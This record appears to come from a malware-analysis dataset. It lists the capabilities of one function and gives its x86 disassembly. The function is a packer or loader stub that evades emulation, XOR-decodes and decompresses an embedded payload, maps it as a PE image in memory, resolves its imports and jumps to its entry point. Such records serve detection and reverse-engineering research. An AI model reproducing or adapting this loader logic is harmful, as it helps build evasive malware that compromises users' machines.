Function at 0x351084
Capabilities:
Access peb ldr_data
Compress data via winapi
Encode data using xor
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x18], eax
pop eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov edi, dword [ecx + 0x18]
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x351028
mov dword [ebp - 0x28], eax
call dword [sym.imp.GDI32.dll_CreateDCA]
push ebx
push 0x141
mov esi, eax
push 2
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov eax, dword [ebp - 0x40]
lea ecx, [eax - 2]
test ecx, ecx
je 0x351100
add dword [ebp - 0x3c], 0xa
cmp dword [ebp - 0x3c], 0x1f4
jl 0x3510e4
cmp eax, 0x3e8
jg 0x3510e4
push 6
pop eax
jmp 0x351939
lea ecx, [eax + 0x78]
mov dword [ebp - 0x50], 0x1e1b1536
mov dword [ebp - 0x4c], 0x8181336
mov dword [ebp - 0x48], 0x3b03081b
mov byte [ebp - 0x44], 0x7a
lea eax, [ebp - 0x50]
xor byte [eax], cl
inc eax
cmp byte [eax], bl
jne 0x35111f
movzx eax, byte [ebp - 0x50]
push 0x4c
pop edx
sub eax, edx
jne 0x35114e
xor ecx, ecx
test dl, dl
je 0x35114a
mov dl, byte [ecx + 0x351031]
movzx eax, byte [ebp + ecx - 0x4f]
inc ecx
movzx esi, dl
sub eax, esi
je 0x351133
cmp eax, ebx
je 0x351167
push 3
pop esi
push ebx
push ebx
push ebx
push dword [ebp - 0x38]
call dword [sym.imp.Cabinet.dll_FCIFlushCabinet]
add esp, 0x10
mov eax, esi
jmp 0x351939
push 0x351040
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x50]
push eax
push edi
mov dword [ebp - 0x14], esi
call esi
push 0x351050
push edi
mov dword [ebp - 0x38], eax
call esi
mov dword [ebp - 0x10], eax
jmp 0x351199
push 0x351060
push dword [ebp - 0x28]
call esi
push 0x351074
push edi
mov dword [ebp - 0x28], eax
call esi
cmp dword [ebp - 0x10], ebx
je 0x351936
cmp dword [ebp - 0x28], ebx
je 0x351936
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov edx, dword [ecx + 0xc]
add edx, dword [ebx + 0x3c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebx + 0x3c]
add edx, eax
mov esi, dword [edx]
add esi, eax
push 5
mov dword [ebp - 0x24], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
mov dword [ebp - 0x34], eax
push 0x2a
mov dword [ebp - 0x20], edx
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
pop esi
xor edx, edx
mov eax, ecx
div esi
push 0x18
pop edi
xor edx, edx
mov esi, eax
mov eax, ecx
imul esi, esi, 0x12
div edi
add esi, ecx
imul eax, eax, 0xa
lea eax, [eax + esi + 0x1000]
push eax
push 0
call dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x351936
mov esi, dword [ebp - 0x20]
mov eax, dword [esi + 4]
push 0xc
shr eax, 1
xor edx, edx
pop ecx
div ecx
xor ecx, ecx
mov dword [ebp - 8], 0xa
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x3512a5
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov edx, ecx
sub edx, eax
add edi, edx
mov dword [ebp - 0x1c], 0xc
mov dl, byte [edi + eax]
mov byte [eax], dl
inc eax
dec dword [ebp - 0x1c]
jne 0x35127e
mov eax, dword [ebp - 8]
dec dword [ebp - 8]
lea ecx, [ecx + eax + 0xc]
jne 0x35129c
mov dword [ebp - 8], 0xa
add dword [ebp - 0x18], 0xc
dec dword [ebp - 0x20]
jne 0x35126b
mov eax, dword [esi + 4]
push 0xc
shr eax, 1
xor edx, edx
pop edi
div edi
test edx, edx
je 0x3512d2
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0xc
add eax, dword [ebp - 0xc]
test edx, edx
je 0x3512d2
mov edi, dword [ebp - 0x24]
sub ecx, eax
add edi, ecx
mov cl, byte [edi + eax]
mov byte [eax], cl
inc eax
dec edx
jne 0x3512c9
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0xc]
add eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 0x34]
lea edi, [eax + ecx + 0x1c]
mov ecx, dword [esi + 4]
mov eax, ecx
and ecx, 1
shr eax, 1
add eax, ecx
push 0x15
pop ecx
xor edx, edx
div ecx
push 0
pop ecx
mov dword [ebp - 8], 0x12
inc eax
je 0x351344
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 4]
shr eax, 1
add eax, dword [ebp - 0x18]
lea edx, [ecx + edi]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], 0x15
mov bl, byte [edx]
mov byte [eax], bl
inc eax
inc edx
dec dword [ebp - 0x24]
jne 0x35131d
mov eax, dword [ebp - 8]
dec dword [ebp - 8]
lea ecx, [ecx + eax + 0x15]
jne 0x35133b
mov dword [ebp - 8], 0x12
add dword [ebp - 0x18], 0x15
dec dword [ebp - 0x20]
jne 0x351308
jmp 0x351350
mov eax, dword [esi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
push 0
call dword [ebp - 0x10]
mov edi, eax
test edi, edi
jne 0x351373
xor esi, esi
inc esi
xor ebx, ebx
jmp 0x351151
xor ecx, ecx
xor edx, edx
cmp dword [esi + 4], ecx
jbe 0x351394
mov bl, byte [ebp + ecx - 0x64]
mov eax, dword [ebp - 0xc]
xor byte [eax + edx], bl
inc ecx
cmp ecx, 0x13
jbe 0x35138e
xor ecx, ecx
inc edx
cmp edx, dword [esi + 4]
jb 0x35137c
push eax
mov eax, dword [0x352000]
pop eax
mov esi, dword [esi + 4]
lea eax, [ebp - 4]
push eax
push esi
imul esi, esi, 0xf
push dword [ebp - 0xc]
push esi
push edi
push 2
call dword [ebp - 0x28]
jmp 0x3513bc
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x351936
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x24], ebx
jne 0x351938
cmp dword [ebx + 0xa0], eax
jne 0x3513eb
mov eax, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x10
push ecx
push eax
call dword [ebp - 0x10]
mov esi, eax
test esi, esi
je 0x351936
jmp 0x351413
jmp 0x35141f
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push 0
pop ecx
je 0x351435
mov dl, byte [ecx + edi]
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jb 0x35142a
and dword [ebp - 0x10], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x351482
and dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [edi + 0x3c]
add eax, edi
lea eax, [eax + ecx + 0xf8]
mov edx, dword [eax + 0x10]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
add ecx, esi
add eax, edi
test edx, edx
je 0x351472
mov dword [ebp - 0x28], edx
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 0x28]
jne 0x351467
movzx eax, word [ebx + 6]
inc dword [ebp - 0x10]
add dword [ebp - 0x18], 0x28
cmp dword [ebp - 0x10], eax
jb 0x351444
jmp 0x351559
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0x34], eax
je 0x3515d2
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x3515d2
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x3515c8
mov ecx, dword [eax + 4]
and dword [ebp - 0x18], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x3515c5
mov ecx, dword [ebp - 0x10]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x3515b1
mov edx, dword [ebp - 0x34]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x18]
add dword [ebp - 0x10], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x18], ecx
jb 0x35158b
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x10], ecx
cmp eax, ebx
jb 0x351579
jmp 0x3516a9
jmp 0x351780
jmp 0x351857
mov ecx, dword [ebp - 0x24]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x351901
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x351936
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 0x18], edx
jne 0x3518b6
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x3518a3
and ecx, 0xffff
jmp 0x3518a8
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x14]
cmp dword [ebx], eax
je 0x3518f2
mov eax, dword [edi]
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
add ebx, esi
jmp 0x3518ed
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x3518cd
and eax, 0xffff
jmp 0x3518d2
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x28]
call dword [ebp - 0x14]
mov dword [ebx], eax
test eax, eax
je 0x351936
mov eax, dword [edi + 0x10]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x3518bd
add edi, 0x14
cmp dword [edi], 0
jne 0x35186b
mov ecx, dword [ebp - 0x24]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x28], eax
pop eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x38], eax
call dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10